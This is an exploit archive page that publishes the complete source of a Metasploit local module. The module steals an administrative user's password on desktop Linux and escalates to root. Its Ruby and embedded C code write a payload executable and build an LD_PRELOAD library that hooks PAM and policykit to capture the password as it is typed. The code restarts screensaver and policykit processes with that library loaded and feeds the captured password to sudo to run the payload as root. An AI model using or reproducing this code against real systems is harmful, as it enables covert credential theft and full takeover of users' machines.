exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Desktop Linux Password Stealer / Privilege Escalation

Desktop Linux Password Stealer / Privilege Escalation
Posted Dec 29, 2014
Authored by Jakob Lell | Site metasploit.com

This Metasploit module steals the user password of an administrative user on a desktop Linux system when it is entered for unlocking the screen or for doing administrative actions using policykit. Then it escalates to root privileges using sudo and the stolen user password. It exploits the design weakness that there is no trusted channel for transferring the password from the keyboard to the actual password verification against the shadow file (which is running as root since /etc/shadow is only readable to the root user). Both screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under the current user account to query for the password and then pass it to a setuid-root binary to do the password verification. Therefore it is possible to inject a password stealer after compromising the user account. Since sudo requires only the user password (and not the root password of the system), stealing the user password of an administrative user directly allows escalating to root privileges. Please note that you have to start a handler as a background job before running this exploit since the exploit will only create a shell when the user actually enters the password (which may be hours after launching the exploit). Using exploit/multi/handler with the option ExitOnSession set to false should do the job.

tags | exploit, shell, root
systems | linux
SHA-256 | 0a9cac7ba17812d5abc36544dbde12e861f70ee5697f577efc23726fdff20564

Desktop Linux Password Stealer / Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'base64'
require 'metasm'

class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File

def initialize(info={})
super( update_info( info, {
'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',
'Description' => %q{
This module steals the user password of an administrative user on a desktop Linux system
when it is entered for unlocking the screen or for doing administrative actions using
policykit. Then it escalates to root privileges using sudo and the stolen user password.
It exploits the design weakness that there is no trusted channell for transferring the
password from the keyboard to the actual password verificatition against the shadow file
(which is running as root since /etc/shadow is only readable to the root user). Both
screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under
the current user account to query for the password and then pass it to a setuid-root binary
to do the password verification. Therefore it is possible to inject a password stealer
after compromising the user account. Since sudo requires only the user password (and not
the root password of the system), stealing the user password of an administrative user
directly allows escalating to root privileges. Please note that you have to start a handler
as a background job before running this exploit since the exploit will only create a shell
when the user actually enters the password (which may be hours after launching the exploit).
Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
},
'License' => MSF_LICENSE,
'Author' => ['Jakob Lell'],
'DisclosureDate' => 'Aug 7 2014',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X86_64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' =>
[
['Linux x86', {'Arch' => ARCH_X86}],
['Linux x86_64', {'Arch' => ARCH_X86_64}]
],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependFork' => true,
'DisablePayloadHandler' => true
},
'DefaultTarget' => 0,
}
))

register_options([
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
], self.class)
end

def check
check_command = 'if which perl && '
check_command << 'which sudo && '
check_command << 'id|grep -E \'sudo|adm\' && '
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
check_command << 'then echo OK;'
check_command << 'fi'

output = cmd_exec(check_command).gsub("\r", '')

vprint_status(output)

if output['OK'] == 'OK'
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
pl = generate_payload_exe
if pl.blank?
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
end

exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"

print_status("Writing payload executable to '#{exe_file}'")
write_file(exe_file, pl)
cmd_exec("chmod +x #{exe_file}")


cpu = nil
if target['Arch'] == ARCH_X86
cpu = Metasm::Ia32.new
elsif target['Arch'] == ARCH_X86_64
cpu = Metasm::X86_64.new
end
lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"

print_status("Writing lib file to '#{lib_file}'")
write_file(lib_file,lib_data)

print_status('Restarting processes (screensaver/policykit)')
restart_commands = get_restart_commands
restart_commands.each do |cmd|
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
cmd_exec(cmd)
end
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
end

def get_restart_commands
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
get_cmd_lines << '$/=undef;'
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''

text_output = cmd_exec(get_cmd_lines).gsub("\r",'')
vprint_status(text_output)

lines = text_output.split("\n")

restart_commands = []
i=0
while i < lines.length - 3
m = lines[i].match(/^PID:(\d+)/)

if m
pid = m[1]
vprint_status("PID=#{pid}")
print_status("Found process: " + lines[i+1])

exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
vprint_status("exe=#{exe}")

cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
vprint_status("CMDLINE=" + cmdline.join(' XXX '))

env = lines[i+3].match(/^environ:(\w+)$/)[1]
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''

vprint_status("RESTART: #{restart_command}")
restart_commands.push(restart_command)
end

i+=1
end

restart_commands
end

def c_code(exe_file)
c = %Q|
// A few constants/function definitions/structs copied from header files
#define RTLD_NEXT ((void *) -1l)
extern uintptr_t dlsym(uintptr_t, char*);
// Define some structs to void so that we can ignore all dependencies from these structs
#define FILE void
#define pam_handle_t void
extern FILE *popen(const char *command, const char *type);
extern int pclose(FILE *stream);
extern int fprintf(FILE *stream, const char *format, ...);
extern char *strstr(const char *haystack, const char *needle);
extern void *malloc(unsigned int size);

struct pam_message {
int msg_style;
const char *msg;
};

struct pam_response {
char *resp;
int resp_retcode;
};

struct pam_conv {
int (*conv)(int num_msg, const struct pam_message **msg,
struct pam_response **resp, void *appdata_ptr);
void *appdata_ptr;
};

void run_sudo(char* password) {
FILE* sudo = popen("sudo -S #{exe_file}", "w");
fprintf(sudo,"%s\\n",password);
pclose(sudo);
}

int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
int i;
int passwd_index = -1;
for(i=0;i<num_msg;i++){
if(strstr(msg[i]->msg,"Password") >= 0){
passwd_index = i;
}
}
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
if(passwd_index >= 0){
run_sudo(resp[passwd_index]->resp);
}
return result;
}

int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
if(!orig_pam_start){
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
}
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
my_pam_conversation->conv = &my_conv;
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
}

void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
if(!orig_polkit_agent_session_response){
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
}
run_sudo(response);
orig_polkit_agent_session_response(session, response);
return;
}
|
c
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close